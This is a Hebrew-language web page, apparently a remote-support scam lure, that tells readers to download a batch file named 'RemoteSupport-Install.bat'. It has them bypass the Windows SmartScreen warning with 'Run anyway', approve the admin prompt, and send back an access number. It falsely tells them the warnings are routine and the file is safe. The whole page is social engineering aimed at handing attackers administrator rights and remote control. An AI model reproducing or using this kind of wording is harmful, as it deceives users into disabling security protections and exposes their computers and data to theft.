התקנת תמיכה מרחוק

התקנה חד-פעמית, כדקה זמן

תודה שבחרתם בשירות התמיכה שלנו. לחצו על הכפתור, עקבו אחר השלבים, ובסוף שלחו לנו את המספר שיופיע.

הקובץ קטן ומגיע ישירות מאיתנו.

כך זה עובד, שלב אחר שלב

לחצו על הכפתור הכחול למעלה. הקובץ יתחיל לרדת.

ייתכן שהדפדפן יבקש אישור לשמירה, מפני שזהו קובץ התקנה. בחרו באפשרות לשמור או להשאיר את הקובץ. הוא בטוח.

RemoteSupport-Install.batקובץ התקנה שמור לחצו כאן

לחצו על הקובץ ישירות באזור ההורדות של הדפדפן, בלי לחפש אותו בתיקיות.

RemoteSupport-Install.batהורדה הושלמה לחצו על הקובץ

אם מופיע חלון כחול של המערכת, לחצו תחילה על מידע נוסף, ואז על הפעל בכל זאת.

Windows · המחשב שלך מוגן

המערכת מנעה הפעלה של אפליקציה לא מוכרת.

מידע נוסף הפעל בכל זאת לחצו כאן

תופיע בקשת הרשאה להתקנה. לחצו כן. זהו אישור חד-פעמי הדרוש כדי להתקין.

בקרת חשבון משתמש

האם ברצונך לאפשר לאפליקציה זו לבצע שינויים במכשיר?

כן לא לחצו כאן

אחרי כדקה יופיע מספר על המסך, והוא יועתק אוטומטית. שלחו לנו אותו בהודעה, וסיימתם.

מספר התמיכה שלך

586 442 190

✓ הועתק ללוח

(המספר לדוגמה — אצלכם יופיע מספר משלכם)

שימו לב: החלונות והאזהרות הם חלק רגיל מאבטחת חלונות, ומופיעים בכל התקנה של תוכנה מהאינטרנט. אפשר להמשיך בבטחה — הקובץ מגיע ישירות מאיתנו.

אם ההורדה נכשלה — ודאו שיש חיבור לאינטרנט ונסו שוב. אם לא הופיע מספר בסיום — צרו איתנו קשר ונלווה אתכם בטלפון.